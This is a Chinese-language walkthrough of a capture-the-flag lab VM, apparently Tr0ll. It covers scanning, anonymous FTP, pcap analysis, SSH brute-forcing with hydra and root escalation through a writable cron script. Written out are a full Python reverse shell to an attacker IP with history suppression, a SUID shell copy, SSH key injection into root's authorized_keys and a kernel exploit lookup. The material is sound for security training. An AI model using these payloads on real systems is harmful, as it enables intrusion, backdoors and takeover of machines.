Nmap扫描

开放了21,22,80,三个端口,其中ftp是传输协议。
知识点(FTP)
FTP(File Transfer Protocol,文件传输协议)是一种网络传输协议,用于在网络上计算机之间传输文件。它基于客户端-服务器模型工作,用户可以通过FTP客户端软件连接到FTP服务器,进行文件的上传(Upload)或下载(Download)操作。
进行深度扫描
nmap 192.168.11.142 -p- -sS -sV -A

现在给解释一下扫描的结果:21端口有vsftpd 3.0.2的版本,发现ftp存在lol.pcap流量文件,还有FTP带有匿名登录名:Anonymous FTP login allowed,22端口是openssh的一个版本,80端口扫出来了robots.txt和/secret目录文件。
信息搜集
访问80端口

发现图片,猜测存在隐写,查看网页源代码,将图片下载到kali上
wget http://192.168.11.142/hacker.jpg
然后再binwalk中查看该文件,发现确实没有什么信息。
然后再访问robots.txt发现是去让我们访问secret文件夹,发现又有一张图片,继续wget下载。

发现binwalk还是找不到任何有用的信息,所以80端口的信息到此为止了。
21端口
由于我们知道了ftp存在lol.pcap流量文件,所以我们要想办法下载下来。在此之前我们需要登入FTP
先前我们知道了,ftp-anon: Anonymous FTP login allowed (FTP code 230)
所以直接登入ftp

知识点(ftp匿名登入)
登录FTP(File Transfer Protocol,文件传输协议)服务器时是否需要密码,这主要取决于FTP服务器的配置和认证方式。
常见的FTP认证方式
- 匿名FTP:某些FTP服务器设置为允许匿名访问,这意味着用户不需要提供用户名和密码即可登录。在这种情况下,用户通常会使用“anonymous”作为用户名,并使用自己的电子邮件地址作为密码(尽管实际上这个密码往往被忽略,因为服务器并不真正验证它)。匿名FTP通常用于提供公共文件的下载,如软件发布、文档分享等。
- 密码认证FTP:大多数FTP服务器都要求用户提供有效的用户名和密码才能访问。这种方式提供了更高的安全性,能够限制对服务器上文件的访问。用户需要拥有账户并输入正确的凭证才能成功登录FTP服务器。
- 密钥认证(如SFTP/SSH FTP):SFTP(SSH File Transfer Protocol)或通过SSH(Secure Shell)隧道运行的FTP服务,通常使用密钥对进行认证,而不是传统的用户名和密码。这种方式提供了更高的安全性,因为它依赖于加密的密钥而不是可能容易被猜测或泄露的密码。
下载分析文件
这里说明一下,特别需要注意ftp的命令和linux的一些命令不太一样

下载完后exit退出ftp
wireshark /root/Desktop/lol.pcap

wireshark对流量界面右键->追踪流量->TCP流量

发现最顶上是tcp.stream eq 0,我们猜测是否还存在tcp.stream eq 1,tcp.stream eq 2......
枚举后确实存在
tcp.stream eq 1

tcp.stream eq 2

发现secret_stuff.txt的文件权限,和一句话
Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P
Sucks, you were so close... gotta TRY HARDER!
好吧,好吧,好吧,你真是个聪明的小恶魔,你几乎找到了 sup3rs3cr3tdirlol :-P
糟了,你离成功只有一步之遥了……得再努力一点!
页面枚举

第一个文件是我们之前枚举得到的图片,第二个是一个文件,我们点击下载到本地。
file filename # flie命令它可以识别多种文件格式,如文本文件、二进制文件、可执行文件、压缩文件等。

看不懂,拿去谷歌翻译一下

知识点(ELF)
ELF(Executable and Linkable Format)是 Linux 和其他类 Unix 操作系统中常用的可执行文件、目标代码、共享库和核心转储的文件格式。
让我们逐步解释 "ELF 32-bit LSB executable" 的含义:
- ELF (Executable and Linkable Format):
- ELF 是一种文件格式,用于存储可执行文件、目标文件、共享库文件和转储文件。它定义了文件的结构,使操作系统能够加载和运行这些文件。
- 32-bit:
- 表示文件是 32 位架构的可执行文件。这意味着文件中的指针和数据宽度为 32 位,适用于 32 位处理器(例如 x86 架构的 32 位版本)。它与 64 位版本的 ELF 文件(如 "ELF 64-bit")相对应。
- LSB (Least Significant Byte):
- LSB 表示文件使用 "小端序" (Little Endian) 字节序。小端序是一种存储数据的方式,其中较低位的字节存储在较低的内存地址中。例如,整数 0x12345678 在小端序中存储为:
78 56 34 12。与此相对的还有 "大端序" (Big Endian, MSB) 格式。
- LSB 表示文件使用 "小端序" (Little Endian) 字节序。小端序是一种存储数据的方式,其中较低位的字节存储在较低的内存地址中。例如,整数 0x12345678 在小端序中存储为:
- Executable:
- 这是一个可执行文件,意味着该文件包含可以被操作系统直接运行的程序代码。
因此,"ELF 32-bit LSB executable" 表示这是一个 32 位的小端序可执行文件,采用 ELF 格式。这样的文件通常可以在适合的 32 位 Linux 操作系统或类 Unix 系统上运行。
知识点(strings命令)
strings 命令用于从二进制文件或其他非文本文件中提取可打印的字符序列。它主要用于查找二进制文件中的隐藏文本,尤其是当你想快速查看文件中是否包含有意义的字符串时,例如调试信息、错误消息、函数名等。
strings 命令的主要用途是从那些通常无法直接阅读的二进制文件或可执行文件中提取文本信息。
页面枚举
发现提示Find address 0x0856BF to proceed,要我们找到地址并继续,猜测0x0856BF是网页的一个文件夹


枚举得到的网页


感觉两个页面分别提供了用户名和密码
由于密码只有一个,所以我们只需要将用户名下载下来后用hydra爆破,现在使用wget下载应该比较熟练了吧,往后就不多赘述。
但是我们发现“)”存在问题,不能直接写在命令行,所以我们要么创建一个txt,要么下载Pass.txt

但是我们还是爆破不出来,此时我们的用户名肯定没有问题,那么就是密码出问题了,密码应该不是Good_job_:)
我们返回去重新看一下,发现文件夹的名字

原来Pass.txt才是密码,此时成功爆出账号密码

渗透阶段
正当我们开开心心的搜集信息是时,我们被踢出来了。。。。。。
经过查阅资料才得知,设置了一些恶心的小玩意儿,它会自动结束ssh进程,而且还是整点提示!说明有计划任务在自动到点结束进程。每5分钟就被踢一次!接下来我们要抢时间把它给终止。

查看计划任务日志信息

查看文件在哪儿

查找整个文件系统中所有其他用户(即非文件所有者)有写权限的文件,并排除/proc目录下的文件。
find / -perm -o+w -type f 2> /dev/null | grep /proc -v
知道了计划任务和py脚本可写入,以及py的位置后,那么方法千万种,接下来演示三种:
先解释一下为什么不是把/lib/log/cleaner.py文件给删除,我们的目标是获取该服务器的root权限,但此时用户权限是低权限,又因为/lib/log/cleaner.py文件是自动运行的,所以不妨只修改文件内容,让文件直接执行我们的exp,从而获取root权限。
方法1、反弹Shell
另外开一个窗口,开启nc监听9999端口

然后,抓紧时间修改/lib/log/cleaner.py文件的信息
原来的信息
#!/usr/bin/python
import os
import sys
try:
os.system('rm -r /tmp/* ')
except:
sys.exit()

记住host修改为kali本机的ip
完成后就能在监听中看到反弹shell,获取信息

解释exp
"""指定该脚本使用的解释器路径"""
#!/usr/bin/python
def con():
"""
socket:用于创建网络连接。
time:提供与时间相关的功能(在本代码中未使用)。
pty:用于创建伪终端,允许进程通过终端与用户交互。
os:提供与操作系统交互的功能,如文件管理和环境变量。
"""
import socket, time, pty, os
host='192.168.11.138'
port=9999
"""
socket.socket():创建一个新的套接字对象。
AF_INET:指定地址族为 IPv4。
SOCK_STREAM:指定套接字类型为 TCP(流式套接字)
"""
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
"""设置套接字的操作超时,单位为秒。
如果在 10 秒内未能完成连接,会抛出 socket.timeout 异常。"""
s.settimeout(10)
# 连接到指定的主机和端口
s.connect((host,port))
"""
os.dup2(oldfd, newfd):将文件描述符 oldfd 复制到 newfd。
s.fileno():返回套接字 s 的文件描述符。
0:表示标准输入(stdin)。将标准输入重定向到套接字,这样输入的内容会通过网络发送。
"""
os.dup2(s.fileno(),0)
"""将标准输出(stdout)重定向到套接字。这样,程序的输出会发送回攻击者的机器。"""
os.dup2(s.fileno(),1)
"""将标准错误(stderr)重定向到套接字。这样,错误信息也会通过网络发送。"""
os.dup2(s.fileno(),2)
"""
putenv():设置或修改环境变量。
HISTFILE:环境变量名称,用于存储历史命令文件的路径。
/dev/null:表示不保存任何历史命令,增强隐蔽性。
"""
os.putenv("HISTFILE",'/dev/null')
"""
pty.spawn():创建一个新的伪终端,并执行指定的命令。
/bin/bash:启动一个新的 bash shell。用户可以通过这个 shell 输入命令。
"""
pty.spawn("/bin/bash")
"""close():关闭套接字连接。
通常在 pty.spawn() 后不会被执行,因为这个调用会阻塞当前线程,直到 shell 结束。"""
s.close()
con()
exp里的一些概念
套接字(Socket)
套接字是一种用于网络通信的端点。它可以理解为一种编程接口,用于在计算机之间传输数据。套接字支持多种协议,最常见的是 TCP(传输控制协议)和 UDP(用户数据报协议)。通过套接字,应用程序可以发送和接收数据,连接到其他计算机的服务或提供自己的服务。
主要特点:
- 地址和端口:每个套接字都有一个地址(IP 地址)和一个端口号,确定通信的具体目标。
- 双向通信:支持双向数据传输,客户端和服务器可以互相发送消息。
- 异步操作:支持非阻塞和异步的通信方式。
文件描述符(File Descriptor)
文件描述符是一个非负整数,用于标识进程中打开的文件或输入输出流(如网络套接字、管道、终端等)。每当一个进程打开一个文件或创建一个套接字,操作系统会为其分配一个文件描述符。
主要特点:
- 唯一性:在同一个进程中,每个打开的文件或流都有唯一的文件描述符。
- 标准文件描述符:通常,文件描述符 0、1 和 2 分别表示标准输入(stdin)、标准输出(stdout)和标准错误(stderr)。
- 操作简便:通过文件描述符,程序可以方便地进行读写操作,而不需要直接操作文件的具体内容。
总结
- 套接字是实现网络通信的工具,允许不同计算机之间进行数据交换。
- 文件描述符是操作系统用于管理打开文件或流的标识符,使得程序能够进行输入输出操作。
方法2、创建root可执行文件,获得root权限
#!/usr/bin/python
import os
import sys
try:
"""创建并将/bin/sh文件复制到/tmp/kang"""
os.system('cp /bin/sh /tmp/kang')
"""给/tmp/kang最高权限"""
os.system('chmod u+s /tmp/kang')
except:
sys.exit()
写入完成后等一会便会生成kang这个文件,我们运行这个sh文件
./kang

方法3、写入ssh rsa,ssh登入root用户
ssh-keygen ---都空格回车 # ps:kali本机

完成后,执行下面的命令

说明一下:运行完ssh-keygen命令后,会在~/.ssh目录生成三个文件,第一个是私钥,第二个是秘钥,私钥和秘钥相碰的时候是不需要账号密码登入的。
也就是说我们只要将秘钥写入服务器的root文件夹下并执行,就能获取root权限了。
"""模版"""
mkdir /root/.ssh; chmod 775 .ssh; echo "加上 id_rsa.pub产生的密匙内容上图有例子" >> /root/.ssh/authorized_keys
"""写入到os.system"""
mkdir /root/.ssh; chmod 775 .ssh; echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMRuSrC2uDJmXMzn3RdC9ZzEpi6fuxC4LfR4j+ra7Ojq root@kali" >> /root/.ssh/authorized_keys
等一会,然后直接ssh登入,发现不需要密码直接登入成功了

方法4、最传统的使用exp漏洞获取root权限
因为有时间限制,所以此方法在操作过程上有点繁琐
登入进来后查看版本号

linux版本号是3.13.0的
Linux 4-Tr0ll 3.13.0
查找exp
searchsploit Linux 4-Tr0ll 3.13.0

发现只有两个符合要求,这里我选取使用37292.c,不用37293.txt的原因是37293.txt只是37292.c的说明书

上传完成后直接编译成可执行文件,获得root权限


Comments NOTHING